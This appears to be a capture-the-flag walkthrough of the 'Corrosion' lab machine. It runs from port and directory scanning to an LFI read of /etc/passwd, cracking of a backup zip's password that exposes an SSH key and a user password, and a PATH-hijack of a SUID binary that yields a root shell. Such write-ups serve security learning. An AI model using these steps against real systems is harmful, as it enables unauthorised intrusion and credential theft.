

# Corrosion

```
(root@miguel) - [/home/miguel/Work/resources]
# nmap -p- -Pn -n --min-rate 5000 -vvv 192.168.137.29
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-12 01:57 -03
Initiating ARP Ping Scan at 01:57
Scanning 192.168.137.29 [1 port]
Completed ARP Ping Scan at 01:57, 0.15s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:57
Scanning 192.168.137.29 [65535 ports]
Discovered open port 80/tcp on 192.168.137.29
Discovered open port 22/tcp on 192.168.137.29
Completed SYN Stealth Scan at 01:58, 11.85s elapsed (65535 total ports)
Nmap scan report for 192.168.137.29
Host is up, received arp-response (0.0028s latency).
Scanned at 2025-02-12 01:57:50 -03 for 12s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 00:0C:29:12:18:9F (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.24 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

```
(root@miguel) - [/home/miguel/Work/resources]
# nmap -sCV -p22,80 -Pn -n --min-rate 5000 -vvv 192.168.137.29
```

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 0c:a7:1c:8b:4e:85:6b:16:8c:fd:b7:cd:5f:60:3e:a4 (RSA)
|_ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC52yHwmpdgwnwdcQWTWwcaca05g8I7MDgB9oV/UxKEdqX1eJo8lJa6H2IWhsE9KvPuA8E6UoX
N1ZIOvm3TeYjNGzVz7oZCHLiQYRi/Chp2kz6mezu+q8F0LpHyNZBids4ptXN/XKJYxTE0fm79HgFv90qSjHAIw0HbsoyA4MmeynC02A/ouWrrWhotd
lcyzxmMajsiWYQz2Wdp1t1BqTnbtNOVprZ3ZF1QjiCiJJjDoU1d8aQMpCktb6zXjwzU9yX+KmrYya0k7TSFcTZ0nUdyoIS4/PwfufD2/bYtrsG7fYN
nmw79KD/0izdBQuax4nmG0MXHWw2+mPP7eRAbpGdVNwYTDZhZ0WprkIJcH0/vF4CC2m8h1qewQ6YldKKMcIJUI4GLKDoAaucVm+i4oFaMg3IYccI
|_ 256 0f:24:f4:65:af:50:d3:d3:aa:09:33:c3:17:3d:63:c7 (ECDSA)
|_ ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKBXtCTWvPUCQRACkf9ZSCeToTh9IRG/7YI10LN
T4WpThh400Gs2P4=
|_ 256 b0:fa:cd:77:73:da:e4:7d:c8:75:a1:c5:5f:2c:21:0a (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5cFwfxj7kxGXwyXoUGxlppIgLvBctV7clJfv5heUq2
80/tcp    open  http     syn-ack ttl 64 Apache httpd 2.4.46 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.46 (Ubuntu)
|_ http-methods:
|_   Supported Methods: GET POST OPTIONS HEAD
MAC Address: 00:0C:29:12:18:9F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
(root@miguel) - [/home/miguel/Work/resources]
# whatweb 192.168.137.29
http://192.168.137.29 [200 OK] Apache[2.4.46], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.46 (Ubuntu)], IP[192.168.137.29], Title[
Apache2 Ubuntu Default Page: It works]
```

```

(root@miguel)-[/home/miguel/Work/resources]
# gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://192.168.137.29/" -x php,html,txt -t 20
=====
gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
+ ] Url: http://192.168.137.29/
+ ] Method: GET
+ ] Threads: 20
+ ] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
+ ] Negative Status codes: 404
+ ] User Agent: gobuster/3.6
+ ] Extensions: php,html,txt
+ ] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
.php (Status: 403) [Size: 279]
.html (Status: 403) [Size: 279]
index.html (Status: 200) [Size: 10918]
tasks (Status: 301) [Size: 316] [-> http://192.168.137.29/tasks/]
blog-post (Status: 301) [Size: 320] [-> http://192.168.137.29/blog-post/]
.html (Status: 403) [Size: 279]
.php (Status: 403) [Size: 279]
server-status (Status: 403) [Size: 279]
Progress: 830572 / 830576 (100.00%)
=====
finished
=====

```

```

(root@miguel)-[/home/miguel/Work/resources]
# wfuzz -c --hw=0 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://192.168.137.29/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -t 20
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://192.168.137.29/blog-post/archives/randylogs.php?FUZZ=/etc/passwd
Total requests: 207643

=====
ID      Response  Lines  Word  Chars  Payload
=====
000000741: 200      48 L   85 W   2832 Ch  "file"
/usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 9.061966
Processed Requests: 1311

```

LFI

```
Line wrap
1 root:x:0:0:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/bin/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/bin/sh
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
20 systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
21 systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22 messagebus:x:103:106:nonexistent:/usr/sbin/nologin
23 syslog:x:104:110:home/syslog:/usr/sbin/nologin
24 _apt:x:105:65534:nonexistent:/usr/sbin/nologin
25 tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
26 uidd:x:107:114:run/uidd:/usr/sbin/nologin
27 tcpdump:x:108:115:nonexistent:/usr/sbin/nologin
28 avahi-autoipd:x:109:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
29 usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
30 rtkit:x:111:118:RealtimeKit,,,:/proc:/usr/sbin/nologin
31 dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 avahi:x:113:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
33 cups-pk-helper:x:114:121:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
34 speech-dispatcher:x:115:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
35 kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/usr/sbin/nologin
36 sm-cpprun:x:117:122:NetworkManager OpenVPN,,,:/var/lib/openswan/chruby:/usr/sbin/nologin
```

miremos por log poisoning por ssh

```
(root@miguel) - [/etc]
# ssh randy@192.168.137.29
The authenticity of host '192.168.137.29 (192.168.137.29)' can't be established.
ED25519 key fingerprint is SHA256:h+lijitcr/kVnfc33XfHyMIJifcp2Vt9He9qc+ph1Xk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.137.29' (ED25519) to the list of known hosts.
randy@192.168.137.29's password:
Permission denied, please try again.
randy@192.168.137.29's password:
Permission denied, please try again.
randy@192.168.137.29's password:
randy@192.168.137.29: Permission denied (publickey,password).
```

entonces



```

www-data@corrosion:/var/backups$ ls -la
ls -la
total 2668
drwxr-xr-x  2 root root    4096 Feb 11 17:15 .
drwxr-xr-x 15 root root    4096 Jul 29 2021 ..
-rw-r--r--  1 root root  61440 Feb 11 17:15 alternatives.tar.0
-rw-r--r--  1 root root   2867 Jul 29 2021 alternatives.tar.1.gz
-rw-r--r--  1 root root 102709 Jul 29 2021 apt.extended_states.0
-rw-r--r--  1 root root    11 Jul 29 2021 dpkg.arch.0
-rw-r--r--  1 root root    43 Jul 29 2021 dpkg.arch.1.gz
-rw-r--r--  1 root root    43 Jul 29 2021 dpkg.arch.2.gz
-rw-r--r--  1 root root   616 Jul 29 2021 dpkg.diversions.0
-rw-r--r--  1 root root   220 Jul 29 2021 dpkg.diversions.1.gz
-rw-r--r--  1 root root   220 Jul 29 2021 dpkg.diversions.2.gz
-rw-r--r--  1 root root   272 Jul 29 2021 dpkg.statoverride.0
-rw-r--r--  1 root root   194 Jul 29 2021 dpkg.statoverride.1.gz
-rw-r--r--  1 root root   168 Apr 20 2021 dpkg.statoverride.2.gz
-rw-r--r--  1 root root 1721335 Jul 30 2021 dpkg.status.0
-rw-r--r--  1 root root  395230 Jul 29 2021 dpkg.status.1.gz
-rw-r--r--  1 root root  386883 Jul 29 2021 dpkg.status.2.gz
-rw-r--r--  1 root root   3285 Jul 30 2021 user_backup.zip
www-data@corrosion:/var/backups$

```

```

(root💀miguel)-[/home/miguel/Work]
# unzip user_backup.zip
Archive:  user_backup.zip
[user_backup.zip] id_rsa password:

```

```

(root💀miguel)-[/home/miguel/Work]
# john hashzip --wordlist=/usr/share/wordlists/seclists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!randybaby (user_backup.zip)
1g 0:00:00:03 DONE (2025-02-12 02:59) 0.3184g/s 4567Kp/s 4567Kc/s 4567KC/s
s "2parrow"..*7jVamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```



```
(root@miguel) - [/home/miguel/Work]
ll
-r--r-- root root 148 B Fri Jul 30 03:11:31 2021 easysysinfo.c
----- root root 2.5 KB Fri Jul 30 03:20:48 2021 id_rsa
-r--r-- root root 563 B Fri Jul 30 03:20:52 2021 id_rsa.pub
-r--r-- root root 23 B Fri Jul 30 03:21:51 2021 my_password.txt
xr-xr-x root root 4.0 KB Tue Feb 11 20:09:44 2025 resources

(root@miguel) - [/home/miguel/Work]
cat id_rsa

(root@miguel) - [/home/miguel/Work]
cat my_password.txt
```

	File: my_password.txt
1	randylovesgoldfish1998

```
(root@miguel) - [/home/miguel/Work]
```

```
www-data@corrosion:/home$ export TERM=xterm
export TERM=xterm
www-data@corrosion:/home$ su randy
su randy
Password: $ randylovesgoldfish1998
$ whoami
randy
```

```
randy@corrosion:/var/www/html/blog-post/archives$ sudo -l
[sudo] password for randy:
Matching Defaults entries for randy on corrosion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User randy may run the following commands on corrosion:
randy@corrosion:/var/www/html/blog-post/archives$ /home/randy/tools/easysysinfo
Tue Feb 11 11:10:10 PM MST 2025log-post/archives$ sudo /home/randy/tools/easysysinfo
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Linux corrosion 5.11.0-25-generic #27-Ubuntu SMP Fri Jul 9 23:06:29 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
```

```
(miguel💀miguel) - [~/Work]
$ sudo strings easysysinfo.c
[sudo] password for miguel:
#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("/usr/bin/date");
  system("cat /etc/hosts");
  system("/usr/bin/uname -a");
```

```
randy@corrosion:~/tools$ ls -la
total 28
drwxrwxr-x  2 randy randy 4096 Jul 30 2021 .
drwxr-x--- 17 randy randy 4096 Jul 30 2021 ..
-rwsr-xr-x  1 root  root 16192 Jul 30 2021 easysysinfo
-rwxr-xr-x  1 root  root  318 Jul 29 2021 easysysinfo.py
randy@corrosion:~/tools$
```

```
randy@corrosion:~/tools$ cat easysysinfo.py
#!/usr/bin/python3.9
```

```
import os
```

```
command1 = "/usr/bin/date"
command2 = "/usr/bin/cat /etc/hosts"
command3 = "/usr/bin/uname -a"
```

```
def output():
    print("Today is: ")
    os.system(command1)

    print("\n")

    print("Hosts File: ")
    os.system(command2)

    print("\n")

    print("Kernal Version: ")
    os.system(command3)
```

```
output()
```

```
randy@corrosion:~/tools$
```

```
randy@corrosion:/tmp$ ls
randy@corrosion:/tmp$ nano cat
```

```
/bin/bash
```

```
randy@corrosion:/tmp$ chmod +x cat
```



```
randy@corrosion:/tmp$ /home/randy/tools/easysysinfo  
Tue Feb 11 11:30:34 PM MST 2025  
root@corrosion:/tmp#
```